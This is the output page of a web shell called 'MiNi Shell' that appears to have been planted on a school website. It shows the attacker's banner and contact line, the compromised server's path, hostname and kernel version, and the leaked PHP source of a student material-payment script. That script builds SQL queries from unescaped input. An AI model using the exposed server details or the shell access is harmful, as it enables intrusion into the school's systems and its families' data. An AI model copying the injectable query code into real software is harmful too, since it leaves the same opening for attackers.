Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /hermes/bosweb01/b2920/ayobo.abbotschools.org/
Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Current File : //hermes/bosweb01/b2920/ayobo.abbotschools.org/material_code.php
<?php
include("php/dbconnect.php");
include("php/checklogin.php");
include("php/header.php");

$name = explode(" ", $row['std_name'],2);
$std_name = $row['std_name'];
$result11 = mysqli_query($conn,"SELECT * FROM class WHERE class_id = '$class_id'");
 $row11 = mysqli_fetch_array($result11);
$class_arm = $row11['class_arm'];

$checked_array=$_POST['mat_id'];
print_r($checked_array);
foreach ($_POST['mat_id'] as $testkey => $key) {
  $mat_id=$key;
  $receipt_no=mysqli_real_escape_string($conn,$_POST['rand_no'][$key]); 
  $mat_name=mysqli_real_escape_string($conn,$_POST['mat_name'][$key]);
  $mat_cost=mysqli_real_escape_string($conn,$_POST['mat_cost'][$key]);
  $mat_qty=mysqli_real_escape_string($conn,$_POST['mat_qty'][$key]);
  $std_id=mysqli_real_escape_string($conn,$_POST['std_id'][$key]);
  $class_id=mysqli_real_escape_string($conn,$_POST['class_id'][$key]);
  $class_group_id=mysqli_real_escape_string($conn,$_POST['class_group_id'][$key]);
  $date2=mysqli_real_escape_string($conn,$_POST['date2'][$key]);
  $date=mysqli_real_escape_string($conn,$_POST['date'][$key]);

  // Check if Phone Number and E-mail is not empty
  $userab=mysqli_query($conn,"SELECT * FROM student WHERE (pg_phone='' AND std_id ='$std_id') OR (pg_email='' AND std_id ='$std_id')");
  $resultab=mysqli_num_rows($userab);
if($resultab >0 )
{
  header("Location: update_profile?act=xwspvt3");
}else{


 //Payment Engine Parameter
$returnUrl = 'https://caliberedge.com/fee1/std/return_material.php';
$post_url = 'https://sbillersandbox.nortify.com.ng/otpay/payfee';
$recurl = 'https://caliberedge.com/fee1/std/receipt/receipt_material.php';

  // Removing commas from Numbers
  $bad_symbols = array(",", "."); 
  $mat_cost = str_replace($bad_symbols, "", $mat_cost);


  $mat_sum = $mat_cost * $mat_qty;
  $sql =$conn->query("INSERT INTO sold_material (mat_id,std_name,rand_no,mat_name,mat_cost,mat_qty,mat_sum,std_id,class_id,class_group_id,class_arm,date2,date) VALUES ('$mat_id','$std_name','$receipt_no','$mat_name','$mat_cost','$mat_qty','$mat_sum','$std_id','$class_id','$class_group_id','$class_arm','$date2','$date')");
if($sql ===TRUE) {
  $result0 = mysqli_query($conn,"SELECT * FROM sold_material WHERE std_id='$std_id' AND class_id='$class_id' AND class_group_id='$class_group_id' AND rand_no='$receipt_no' ORDER BY sold_mat_id DESC ");
  $row0= mysqli_fetch_array($result0);
  $sold_mat_id = $row0['sold_mat_id'];
 // $status = 'success';

  $result6 = mysqli_query($conn,"SELECT sum(mat_sum) as total FROM sold_material WHERE std_id='$std_id' AND class_id='$class_id' AND class_group_id='$class_group_id' AND rand_no= '$receipt_no' AND date2= '$date2'");
  $row6 = mysqli_fetch_assoc($result6);
 $amount_sum = $row6['total'];

  header("Location:material_form?id=$std_id&amount_sum=$amount_sum&scode=$school_code&ccode=$campus_code&bcode=$bank_code&r_no=$receipt_no&sm=$sold_mat_id");


//   echo  'Form Submitted, you will be redirected in few seconds to the payment platform.......';

//   echo "<form method='POST' action='".$post_url."'>";
//   echo "<input type='hidden' name = 'Email' value='" . $row['pg_email'] . "'>";
//   echo "<input type='hidden' name = 'FirstName' value='" . $name[0] . "'>";
//   echo "<input type='hidden' name = 'LastName' value='" . $name[1] . "'>";
//   echo "<input type='hidden' name = 'Phone' value='" . $row['pg_phone'] . "'>";
//   echo "<input type='hidden' name = 'TransactionID' value='" . $sold_mat_id . "'>";
//   echo "<input type='hidden' name = 'Amount' value='" . $status . "'>";
//   echo "<input type='hidden' name = 'MerchantID' value='" . $campus_code . "'>";
//   echo "<input type='hidden' name = 'UniqueID' value='" . $school_code . "'>";
//   echo "<input type='hidden' name = 'FeeId' value='" . $bank_code . "'>";
//   echo "<input type='hidden' name = 'returnUrl' value='" . $returnUrl . "'>";
//   echo "<input type='hidden' name = 'Ref' value='" . $receipt_no . "'>";
//   echo "<input type='hidden' name = 'Ref' value='" . $receipt_no . "'>";
//   echo "<input type='hidden' name = 'receiptUrl' value='" . $recurl . "'>";
    
//   echo "</form>";

//   /** Auto submit form. Alternatively, a submit button can be put in its stead. */
//   echo "<script language='javascript'>";
//   echo "var form = document.forms[0];";
//   echo "form.submit()</script>";

}
}
}
?>
Creat By MiNi SheLL
Email: devilkiller@gmail.com